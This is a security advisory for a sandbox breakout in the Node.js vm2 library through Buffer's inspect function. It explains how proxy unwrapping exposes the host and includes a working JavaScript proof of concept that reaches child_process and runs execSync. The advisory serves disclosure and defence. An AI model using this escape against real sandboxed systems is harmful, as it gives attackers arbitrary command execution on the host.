GHSA-v37h-5mfm-c47c

VM2 Has Sandbox Breakout Through Inspect Function

### Summary VM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge. ### PoC ```js const obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice:()=>'', l:{__proto__: null} }; obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) { if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice; return a; }}); obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.